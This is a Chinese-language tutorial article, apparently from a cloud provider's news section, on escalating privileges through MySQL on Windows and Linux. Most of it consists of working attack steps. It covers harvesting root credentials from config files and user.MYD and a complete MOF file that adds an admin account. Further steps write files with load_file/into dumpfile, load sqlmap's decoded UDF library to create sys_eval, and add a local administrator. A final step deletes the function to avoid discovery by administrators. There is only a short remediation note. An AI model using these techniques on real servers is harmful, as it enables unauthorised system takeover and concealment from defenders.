您好,登錄后才能下訂單哦!
本篇文章為大家展示了MySQL中怎么實現提權,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
具有MySQL的root權限,且MySQL以system權限運行。
具有執行SQL語句的權限。
獲取root密碼的方法:
查看數據庫配置文件
關鍵字:config
、conn
、sql
、data
、inc
、database
等
下載mysql安裝路徑下的數據文件
安裝路徑下的data目錄中存放的是數據庫的數據信息
root賬號密碼存儲在mysql數據庫下的user表中
完整路徑=安裝路徑+\data\mysql\user.MYD
暴力破解
udf提權
mof提權
開機啟動腳本(啟動項提權)
原理
利用了C:\Windows\System32\wbem\MOF
目錄下的nullevt.mof
文件
利用該文件每分鐘會去執行一次的特性,向該文件中寫入cmd命令,就會被執行
利用條件
只使用于windows系統,一般低版本系統才可以用,比如xp
、server2003
對C:\Windows\System32\wbem\MOF
目錄有讀寫權限
可以找到一個可寫目錄,寫入mof文件
提權方法
在可寫目錄中上傳mof文件。
把mof文件上傳到C:/wmpub/nullevt.mof
把這個文件復制到C:/Windows/System32/wbem/MOF/nullevt.mof
目錄下
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
將下面這段代碼復制到mof后綴的文件中
# pragma namespace("\.\root\subscription") instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
把這個mof文件上傳到目標機中,可以修改代碼,進行命令執行。
目前mof提權方法用的比較少,建議使用udf腳本進行MySQL數據庫提權。
補救措施
當發現服務器被使用mof提權,解決繼續執行系統命令的方法:
先停止winmgmt服務:net stop winmgmt
刪除文件夾:C:\Windows\System32\wbem\Repository
再重新啟動winmgmt服務:net start winmgmt
原理
UDF(User Defined Funtion)用戶自定義函數,通過添加新的函數,對mysql服務器進行功能擴充。
信息收集
select version(); # 獲取數據庫版本 select user(); # 獲取數據庫用戶 select @@basedir; # 獲取數據庫安裝目錄 show variables like ‘%plugin%’; # 查看plugin路徑。
UDF可以理解為MySQL的函數庫,可以利用udf定義的創建函數。想要利用udf,必須上傳udf.dll作為udf的執行庫。MySQL中支持UDF擴展,使得我們可以調用DLL里面的函數來實現一些特殊的功能。
利用條件
如果mysql版本大于5.1,udf.dll文件必須放置在mysql安裝目錄的MySQL\Lib\Plugin\
文件夾下,該目錄默認是不存在的,需要使用webshell找到mysql的安裝目錄,并在安裝目錄下創建MySQL\Lib\Plugin\
文件夾,然后將udf.dll導入到該目錄。
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/
目錄,在windows server 2000下放置在c:/winnt/system32/
目錄。
掌握mysql數據庫的root賬戶,從而擁有對mysql的insert和delete權限,以創建和拋棄函數。
擁有可以將udf.dll寫入相應目錄的權限。
基本步驟
DLL文件的獲取方法
在sqlmap/data/udf/mysql
目錄下,在Windows目錄中有32位和64位的dll文件(MySQL位數)。
文件夾中的dll文件是通過異或編碼的,可以使用sqlmap/extract/cloak.py
進行解碼
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
將解碼后的DLL文件(包含用戶自定義函數的DLL文件)上傳到可寫目錄,再導入到MySQL\lib\plugin\
中
select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
將DLL中的函數引入到MySQL數據庫中
創建自定義函數
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
創建名為sys_eval的函數,返回值為string類型,調用的文件是lib_mysqludf_sys.dll
注意:需要創建.dll文件中存在的函數,可以使用十六進制編輯器打開.dll文件,查看可以被創建的函數。
使用該函數去執行系統命令提權
查看當前用戶權限
select sys_eval("whoami");
創建賬號并提升為管理員權限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
將之前引入的函數刪除掉
防止被管理員發現,防止其他攻擊者使用
drop function sys_eval;
delete from mysql.func where name='sys_eval';
簡述
通過自定義庫函數來實現執行任意的命令
包含用戶自定義函數的文件為.so文件
要求
在my.ini的[mysqld]下,添加secure_file_priv="",不限制導入導出路徑
具有數據庫root賬戶的密碼,且mysql數據庫以root權限運行
具有sql語句的執行權限
導出目錄可寫
系統中的selinux處于關閉狀態
提權過程
查找插件庫的路徑
show variables like '%plugin%';
得到的結果為:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
找到對應操作系統數據庫的UDF庫文件
sqlmap-master\data\udf\mysql\linux\64
下的lib_mysqludf_sys.so_
文件
將so文件(UDF庫文件)進行16進制編碼
將so文件的內容解碼,寫入到mysql插件庫目錄中
select unhex('so文件的16進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看udf庫所支持的函數
注意:需要創建.so文件中存在的函數,可以使用十六進制編輯器打開.so文件,查看可以被創建的函數。
創建函數
寫入之后,執行創建函數的命令,就會創建一個sys_eval的函數,用來執行系統命令,這個函數執行的系統命令全部都是system權限。
create function sys_eval returns string soname 'xxx.so';
執行系統命令,提權
sys_eval
這個函數就可以執行系統命令,括號里輸入系統命令即可。
查看當前用戶權限
select sys_eval("whoami");
創建賬號并提升為管理員權限
不需要判斷mysql的版本,直接查看路徑,直接寫so文件,Linux里面的文件是so文件。
getshell之后,在終端輸入whoami,發現只是apache用戶權限。
尋找網站的數據庫配置文件,查看數據庫的賬號密碼,可以看到賬號root密碼root。
登錄mysql數據庫,輸入show variables like '%plugin%';
查看plugin路徑。
得到的結果為:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
我們把so文件進行16進制編碼,再解碼寫入目錄中,返回為true,寫入成功。
select unhex('so文件的16進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
寫入之后,執行創建函數的命令,就會創建一個sys_eval的函數,用來執行系統命令,這個函數執行的系統命令全部都是system權限。
create function sys_eval returns string soname 'xxx.so';
sys_eval
這個函數就可以執行系統命令,括號里輸入系統命令即可。
select sys_eval('whoami')
上述內容就是MySQL中怎么實現提權,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。